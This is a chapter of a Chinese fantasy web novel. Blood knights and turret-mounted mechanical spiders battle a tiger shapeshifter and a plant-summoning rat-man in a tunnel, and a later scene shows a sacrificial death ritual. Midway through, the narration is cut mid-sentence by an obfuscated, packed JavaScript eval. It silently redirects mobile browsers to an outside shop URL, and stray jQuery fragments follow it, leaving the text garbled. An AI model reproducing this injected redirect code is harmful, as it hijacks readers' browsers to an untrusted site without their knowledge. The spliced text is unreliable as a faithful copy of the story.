第十九章
    偏离了地铁轨道的隧道洞穴中,一高一矮,两双发光的眼睛在黑暗中站定。

    矮的那个蹲下去,不一会儿,窸窸窣窣的声音就以他为中心,向四周扩散去。

    没过多久,矮个子道:“亲爱的们说看到人了,有两个,一匹母马,一只小雀。”

    高个子轻蔑地哼笑道:“只派两个审判官,就敢追着人到我们的据点?”

    “不,审判官小队人数最少也会有三个,”矮个子反驳道,“我觉得他们应该分了队,还有人在后面。”

    “那你怎么不去找?”高个子不满地催促。

    矮个子闻言沉默了片刻,不知是不是听从了高个子的吩咐照做。

    只过了十秒,矮个子刷地起身。

    “母马是血骑士!”他语速急促,“植物作为生命无法瞒过她的感知,亲爱的们没法越过她去后面——她冲过来了!”

    就在矮个子话音落下这一刻,一道红光跃进了他们的视野。

    不,那不是红光,而是流动的,闪闪发亮的,纯净的鲜血。她如河水一般奔流而来,沿路淹没不知多少刚刚生长出的藤蔓与树木,这些银月少女邪.教徒用魔力催生的植物,来不及挣扎就融化在了血河之中。

    血河在通道中四处拍打,直到被高出地面的岩石阻挡下,一个窈窕高健的女性身躯自血河中浮现而出,剩下的血液化为一面鲜红的披风,将她包裹。

    这位血骑士马耳抖动,黝黑姣好的面孔转向高个子和矮个子所在的方向,滚烫的白气从她七窍向外逸散,她手一挥,从她指尖滴落的鲜血没有落在地上,反而化为一把长剑,握在她手中。

    很明显,她已经发现了敌人。

    高个子收到了挑衅,银月少女与源血之母的仇恨让他难以维持理智,他浑身肌肉抖动,黄黑相间的刚毛从他毛孔中长出。

    不过一个呼吸,他已经四肢着地,站在那儿的不再是一个人,而是一只皮毛斑斓的大老虎。

    “吼——!”

    老虎朝血骑士扑去,便在他跃到半空中时,嘭的一声,一枚照明弹在通道顶部炸开。

    炽白光亮霎时将所有阴影驱散,像是被烫到一般,残存的藤蔓与植物纷纷往黑暗中缩去。但兽化虎人和光亮下显露出种族特征的鼠人,都没有受太大影响,血骑士自鲜血中浮出时,他们就闭上了眼睛。

    一人前面冲锋,一人后面放照明弹,审判官们的这套战术,作为畸变教派精英战力的他们可熟到不能再熟。

    “这种对付小喽啰的方法对我可没用!”兽化虎人大声咆哮,犹如一辆奔驰的地铁,狠狠撞上血骑士。

    同样为避开照明弹,才睁开眼睛的血骑士直接被撞得倒飞十几米,兽化虎人比电梯更沉的体重以及钢铁般的肌肉,甚至压得她无法抬起长剑。

    邪.教徒泛着冷光的利爪,在剑锋上擦出一道火花,他那已经看不出人样的斑斓头颅,仗着自己兽化后比血骑士高大太多,直接越过血骑士试图阻挡他的长剑,张开大嘴,尖牙利齿就要在她脖颈上合拢。

    兽化虎人咬在了翻飞的鲜红披风上。

    “爆!”

    血骑士大喝,碎裂的鲜红披风在兽化虎人嘴里爆炸,威力比炸药更强

    被爆炸冲击波迎面打了七八拳的兽化虎人前冲势头终于被拦下,他大脑嗡鸣,无法合拢的嘴里全是血,牙齿歪歪扭扭,口腔破破烂烂,两行鼻血流出,没入黄黑短毛中。

    而血骑士借此一个翻滚,从他的正面来到侧面,手腕翻转,长剑劈下。

    锵——

    仿佛是金属敲打金属的声音回荡在隧道中,哪怕组成血红长剑的物质,和组成毛发的物质,都一样绝非金属。

    发现难以破防的血骑士向后退,她前方的斑斓大虎甩着钢鞭似的尾巴转身,依然张开的嘴里,无论是口腔的伤,还是歪扭的牙齿,都已经重新长好,愈合如初。

    染红的兽吻让他更显狰狞,兽化虎人胡须抖动,睁开的眼睛里闪烁嗜血而恶毒的光芒。

    似乎是因他的巨大威胁,血骑士甚至没注意到身后残存的藤蔓开出粉色小花,小花花蕊摇曳,抖落花粉。

    氤氲香气飘散,血骑士又后退了一步,只差一点就要进入花粉笼罩的范围。

    同样一直在后退,既要关注后方发射一枚照明弹后就未再出手的审判官,又要不让血骑士注意自己的鼠人见此,不由屏住呼吸。

    照明弹的光辉已在逐渐暗下,但那黄色粉团在空气中依然显眼。

    他按捺住激动等待着,然后等到了连绵不绝的槍声。

    犹如雷霆炸响在这条隧道!子弹组成的金属风暴将粉团撕裂!另一侧的兽化虎人刚刚扑出,就被连续击中的大口径子弹掀飞出去。

    同样在枪林弹雨范围内的血骑士早有准备,原地化为流动的鲜血,任由子弹洞穿她,刹那就转变了攻势,向着鼠人涌去。

    鼠人已经在刚才的空隙里,重新种出许多“亲爱的”,这次他选择了根系更稳固的三只树人。

    见血河滔滔而至,迈步站成一排的树人往下蹲,根系扎入土中,树枝与树枝交缠,长须状的气根垂落,仿佛钢筋般插.入地面。

    翻涌的鲜血在树人组成的堤防下一再受阻,无法扑到鼠人面前,等血骑士矫健的身躯再次凝出,握住长剑跳向鼠人时,紧张的他种下的新一批树人和藤蔓怪,也再次长成。

    同时,组成堤防的树人在机槍扫射下木屑纷飞,已然拦腰断裂。

    射出金属风暴的存在,此刻才堪堪登场,一只比兽化虎人更庞大的机械蜘蛛开着大功率照明灯,咔哒咔哒迈过崎岖地面,身躯上搭载的一对炮台,不断弹射出橙黄的子弹壳。

    终于,它因为炮管过烫不得不停下射击,弥漫的硝烟里,躲进一个洞中的兽化虎人咬牙切齿探出头。

    第二只炮台机械蜘蛛就在这个时候施施然出场,在第一只机械蜘蛛停下射击的时候,它的两只机槍槍口开始旋转。

    坐在第三只机械蜘蛛里面的灵飞歌,用红外夜视镜去确认敌人的位置,有些遗憾地发现,那只兽化虎人见势不妙,已经躲进洞穴的更深处。

    那个洞穴的大小,炮台机械蜘蛛难以进入,灯光照过去,往内几米就是拐弯的岔道。

    可惜,灵飞歌想,熟练地开始嘲讽:

    “你竟然这么理智!‘钢虎’!你不会背叛了银月少女吧?”

    “‘械灵’你这个出生在养鸡场的鸟人!”洞穴内传出“钢虎”轰隆隆的咆哮,“你破蛋的时候就该切碎了做饲料!”

    “都被骂了居然没冲出来,”仿佛不知道自己三只炮台机械蜘蛛有多大威慑力,灵飞歌沉吟的声音从播音器中传出,说,“难

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9436261|98784||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道他真的背叛了银月少女?”

    洞穴里,“钢虎”愤怒挠墙声,洞穴外都能听到。

    看起来是审判官这边占据上风了,但灵飞歌完全不敢让炮台机械蜘蛛停下射击。

    如果露出空隙让“钢虎”冲出来,那家伙手撕炮台不是做不到。

    这样强大的肉.体能力,按理来说掌握血肉力量的源血之母职业者更应该拥有,但他们却比不过兽化人。

    哪怕兽化人的肉.体能力也要依靠疯狂与欲望放纵,才能做到这个程度,但比较后的事实,就是如此。

    银月少女想顺着交.媾欲望侵入源血之母的生育领域,源血之母似乎也对银月少女有一份觊觎。

    这关系体现在信徒之间,造成了他们不死不休的敌对。

    血骑士山踏又一次融化成鲜血,数次被拖延的她清空一片植物,将鼠人逼到角落。

    鼠人跌坐地上,向后撑起身体的手臂瑟瑟发抖。

    血河化为巨浪向他拍打下,但血沫落在鼠人脸上时,他脸上竟然开了花。

    眨眼间,这位花之牧者半边身体都显出木质的纹理,一双棕色的手从他背后伸出,拥住鼠人,为他挡下迎面打下的血浪。

    花费了好一段时间,终于长了出来的盘根女妖,汲取鼠人的魔力,在鲜血中舒展身体。

    她的头发是垂下的根须,不断被鲜血溶解又不断长出,长出的根须畅快的吸收鲜血,即便鲜血一进入她躯体就爆开,也只是让根须的碎屑落入血中,一些被溶解,一些重新连接成新的根须。

    这正是畸变教派针对血骑士专门培养的魔物,没多久就损失了许多血液的山踏不得不凝出身体后退,她的鲜红披风短了一大截。

    盘根女妖反倒长高了许多,鼠人在她背后亲吻她的长发,又龇牙咧嘴朝山踏笑。

    哪怕种出盘根女妖需要他的血肉做代价,但木质化的半边身体之后总有办法处理,杀死源血之母职业者的荣耀却很难获得。

    “上,”鼠人喝道,“啜死她!”

    这么下令,他先在盘根女妖的掩护下,也钻进一个狭窄的洞穴。

    钻进去后,鼠人问盘根女妖战况如何。

    盘根女妖传递给他疑惑的情绪。

    “她跑了。”她说。

    鼠人脑中冒出一个大大问号,接着看到脚边的苔藓,快速染上了枯黄色。

    ***

    “我的环保意识在谴责我。”林说。

    站在仪式阵外的岩糖对着他歪头,不知道他为何在准备了这么久的仪式后,突然冒出这句话。

    林没有解释,他在以六芒星为基盘的仪式阵一角,摆上一只昏迷的小白鼠,然后利落扭断了它的脖子。

    第二个角,他摆上一颗鸡蛋,又将鸡蛋砸碎。

    第三个角是一条鱼干。

    第四个角是刚刚捉来的蚂蚁,已被压扁。

    第五个角,林在这里点燃了处理过的木条,烟气升起,就一根牙签大小的木条,很快只剩下一撮炭灰。

    林走向第六个角,在这里转身,站定。

    他拿出一把匕首,向着第五个角上的碳灰挥动一下,轻声念道:

    “沉默的敲钟霜鸦啊……请收拢它们可怜的灵魂,赐予它们永恒的安宁,而这份罪孽由我承担。范围死亡律令,指定对象——植物。”